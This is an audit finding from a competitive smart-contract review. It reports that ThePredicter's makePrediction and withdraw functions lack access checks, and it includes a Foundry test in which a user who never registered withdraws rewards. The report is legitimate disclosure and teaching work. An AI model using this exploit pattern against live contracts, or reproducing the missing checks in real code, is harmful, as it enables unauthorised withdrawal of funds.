Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

An unapproved user can make predictions and withdraw rewards.

Summary

An unapproved user can make predictions and withdraw rewards.

Vulnerability Details

ThePredicter::makePredictions, ScoreBoard::setPredictions and ThePredicter::withdraw do not include checks to ensure the caller is a player(an approved user).

Proof of Concept:
Add code to test file

function test_UnapprovedUserCanWithdraw() public {
address stranger2 = makeAddr("stranger2");
address stranger3 = makeAddr("stranger3");
address stranger4 = makeAddr("stranger4");
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger2);
vm.deal(stranger2, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger3);
vm.deal(stranger3, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(stranger4); //stranger4 does not register
vm.deal(stranger4, 0.0004 ether);
vm.stopPrank();
vm.startPrank(organizer); //stranger4 is not approved
thePredicter.approvePlayer(stranger);
thePredicter.approvePlayer(stranger2);
thePredicter.approvePlayer(stranger3);
vm.stopPrank();
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.Draw
);
vm.stopPrank();
vm.startPrank(stranger2);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.First
);
vm.stopPrank();
vm.startPrank(stranger3);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.First
);
vm.startPrank(stranger4); //stranger4 pays prediction fee and makes predictions
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.First
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.First
);
vm.stopPrank();
vm.stopPrank();
assertEq(stranger4.balance, 0.0001 ether);
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.First);
scoreBoard.setResult(1, ScoreBoard.Result.First);
scoreBoard.setResult(2, ScoreBoard.Result.First);
scoreBoard.setResult(3, ScoreBoard.Result.First);
scoreBoard.setResult(4, ScoreBoard.Result.First);
scoreBoard.setResult(5, ScoreBoard.Result.First);
scoreBoard.setResult(6, ScoreBoard.Result.First);
scoreBoard.setResult(7, ScoreBoard.Result.First);
scoreBoard.setResult(8, ScoreBoard.Result.First);
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.withdrawPredictionFees();
vm.stopPrank();
vm.startPrank(stranger4);
thePredicter.withdraw(); //stranger4 withdraws reward
vm.stopPrank();
assert(stranger4.balance > 0.0001 ether);
//stranger4 balance is 0.040000000000000000
}

Impact

An unapproved user(user who hasn't paid the registration fee and user who has paid but hasn't been approved by the organizer) can make predictions and withdraw rewards as long as they pay the prediction fee.

Tools Used

Manual Analysis

Recommendations

Add checks to ensure a user is a player before they are able to make prediction and withdraw reward.

Updates

Lead Judging Commences

NightHawK Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

makePrediction lacks access control

makePrediction has no access controls and any unapproved user can make predictions causing an incorrect calculation and distribution of rewards.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.